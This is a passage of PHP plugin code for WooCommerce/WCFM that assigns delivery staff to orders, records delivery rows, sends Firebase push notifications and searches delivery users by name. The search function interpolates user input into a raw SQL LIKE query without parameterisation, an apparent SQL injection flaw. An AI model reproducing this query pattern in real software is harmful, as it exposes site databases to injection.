$order = wc_get_order($order_id);
$customer_id = 0;
if ($order->get_user_id()) {
$customer_id = $order->get_user_id();
}
$payment_method = !empty($order->get_payment_method())
? $order->get_payment_method()
: "";
$line_item = new WC_Order_Item_Product($order_item_id);
$product = $line_item->get_product();
$product_id = $line_item->get_product_id();
$variation_id = $line_item->get_variation_id();
$sql = $wpdb->prepare(
"INSERT INTO `{$wpdb->prefix}wcfm_delivery_orders`
( vendor_id
, order_id
, customer_id
, payment_method
, product_id
, variation_id
, quantity
, product_price
, item_id
, item_sub_total
, item_total
, delivery_boy
) VALUES ( %d
, %d
, %d
, %s
, %d
, %d
, %d
, %s
, %d
, %s
, %s
, %d
) ON DUPLICATE KEY UPDATE `delivery_boy` = %d",
$vendor_id,
$order_id,
$customer_id,
$payment_method,
$product_id,
$variation_id,
$line_item->get_quantity(),
$product->get_price(),
$order_item_id,
$line_item->get_subtotal(),
$line_item->get_total(),
$wcfm_delivery_boy,
$wcfm_delivery_boy
);
$wpdb->query($sql);
$delivery_id = $wpdb->insert_id;
// Update Delivery Meta
$order_item_processed_id = wc_get_order_item_meta(
$order_item_id,
"_wcfmmp_order_item_processed",
true
);
if ($WCFMmp && $order_item_processed_id) {
$gross_sales_total = (float)$WCFMmp->wcfmmp_commission->wcfmmp_get_commission_meta(
$order_item_processed_id,
"gross_sales_total"
);
$key = "gross_sales_total";
$value = $gross_sales_total;
$wpdb->query(
$wpdb->prepare(
"INSERT INTO `{$wpdb->prefix}wcfm_delivery_orders_meta`
( order_delivery_id
, `key`
, `value`
) VALUES ( %d
, %s
, %s
)",
$delivery_id,
$key,
$value
)
);
$delivery_meta_id = $wpdb->insert_id;
}
$noti_message = 'You have assigned to order '.$order_id.' item '. get_the_title($product_id);
$deviceToken = get_user_meta($wcfm_delivery_boy, 'mstore_delivery_device_token', true);
$title= '';
$serverKey = get_option("mstore_firebase_server_key");
if (isset($serverKey) && $serverKey != false && isset($deviceToken) && $deviceToken != false) {
$body = ["notification" => ["title" => "You have new notification", "body" => $noti_message, "click_action" => "FLUTTER_NOTIFICATION_CLICK"], "data" => ["title" => $title, "body" => $noti_message , "click_action" => "FLUTTER_NOTIFICATION_CLICK"], "to" => $deviceToken];
$headers = ["Authorization" => "key=" . $serverKey, 'Content-Type' => 'application/json; charset=utf-8'];
$response = wp_remote_post("https://fcm.googleapis.com/fcm/send", ["headers" => $headers, "body" => json_encode($body)]);
$statusCode = wp_remote_retrieve_response_code($response);
$body = wp_remote_retrieve_body($response);
}
// Notification Update
if (apply_filters("wcfm_is_allow_itemwise_notification", true)) {
$wcfm_messages = sprintf(
__(
"<b>%s</b> assigned as Delivery Boy for order <b>%s</b> item <b>%s</b>.",
"wc-frontend-manager-delivery"
),
$wcfm_delivery_boy_user->first_name .
" " .
$wcfm_delivery_boy_user->last_name,
"#" . $order_id,
get_the_title($product_id)
);
$comment_id = $order->add_order_note(
$wcfm_messages,
apply_filters(
"wcfm_is_allow_delivery_note_to_customer",
"1"
)
);
} else {
if (
($vendor_id &&
!get_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $vendor_id,
true
)) ||
(!$vendor_id &&
!get_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $order_id,
true
))
) {
$wcfm_messages = sprintf(
__(
"<b>%s</b> assigned as Delivery Boy for order <b>%s</b>.",
"wc-frontend-manager-delivery"
),
$wcfm_delivery_boy_user->first_name .
" " .
$wcfm_delivery_boy_user->last_name,
"#" . $order_id
);
$comment_id = $order->add_order_note(
$wcfm_messages,
apply_filters(
"wcfm_is_allow_delivery_note_to_customer",
"1"
)
);
}
}
// Deivery Boy Notification
if (apply_filters("wcfm_is_allow_itemwise_notification", true)) {
$wcfm_messages = sprintf(
__(
"You have assigned to order <b>%s</b> item <b>%s</b>.",
"wc-frontend-manager-delivery"
),
'#<span class="wcfm_dashboard_item_title">' .
$order_id .
"</span>",
get_the_title($product_id)
);
$WCFM->wcfm_notification->wcfm_send_direct_message(
-1,
$wcfm_delivery_boy,
1,
0,
$wcfm_messages,
"delivery_boy_assign"
);
do_action(
"wcfmd_after_delivery_boy_assigned",
$order_id,
$order_item_id,
$wcfm_tracking_data,
$product_id,
$wcfm_delivery_boy,
$wcfm_messages
);
} else {
if (
($vendor_id &&
!get_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $vendor_id,
true
)) ||
(!$vendor_id &&
!get_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $order_id,
true
))
) {
$wcfm_messages = sprintf(
__(
"You have assigned to order <b>%s</b>.",
"wc-frontend-manager-delivery"
),
'#<span class="wcfm_dashboard_item_title">' .
$order_id .
"</span>"
);
$WCFM->wcfm_notification->wcfm_send_direct_message(
-1,
$wcfm_delivery_boy,
1,
0,
$wcfm_messages,
"delivery_boy_assign"
);
do_action(
"wcfmd_after_delivery_boy_assigned",
$order_id,
$order_item_id,
$wcfm_tracking_data,
$product_id,
$wcfm_delivery_boy,
$wcfm_messages
);
}
}
if ($vendor_id) {
update_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $vendor_id,
"yes"
);
update_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $order_id,
"yes"
);
} else {
update_post_meta(
$order_id,
"_wcfm_order_delivery_assigned_" . $order_id,
"yes"
);
}
}
return new WP_REST_Response(
[
"status" => "success",
],
200
);
}
public function get_delivery_users($name)
{
global $wpdb;
$results = [];
$table_name = $wpdb->prefix . "users";
$table_name2 = $wpdb->prefix . "usermeta";
$search = sanitize_text_field($name);
$sql = "SELECT {$table_name}.ID, {$table_name}.display_name";
$sql .= " FROM {$table_name} INNER JOIN {$table_name2}";
$sql .= " ON {$table_name}.ID = {$table_name2}.user_id";
$sql .= " WHERE {$table_name2}.meta_key = '{$wpdb->prefix}capabilities' ";
$sql .= " AND {$table_name2}.meta_value LIKE '%wcfm_delivery_boy%' AND {$table_name}.display_name LIKE '%$search%'";
$sql .= " ORDER BY {$table_name}.display_name";
$users = $wpdb->get_results($sql);
if (count($users) == 0) {
return new WP_REST_Response(
[
"status" => "success",
"response" => $results,
],
200
);
}
$user_ids = [];
foreach ($users as $user) {
$profile_pic = wp_get_attachment_image_src(get_user_meta($user->ID, 'wclovers_user_avatar', true))[0];
if (!$profile_pic) {
$profile_pic = null;
}
$user_ids[] = [
"id" => $user->ID,
"name" => $user->display_name,
"profile_picture" => $profile_pic,
];
}
return new WP_REST_Response(
[
"status" => "success",
"response" => $user_ids,
],
200
);
}
}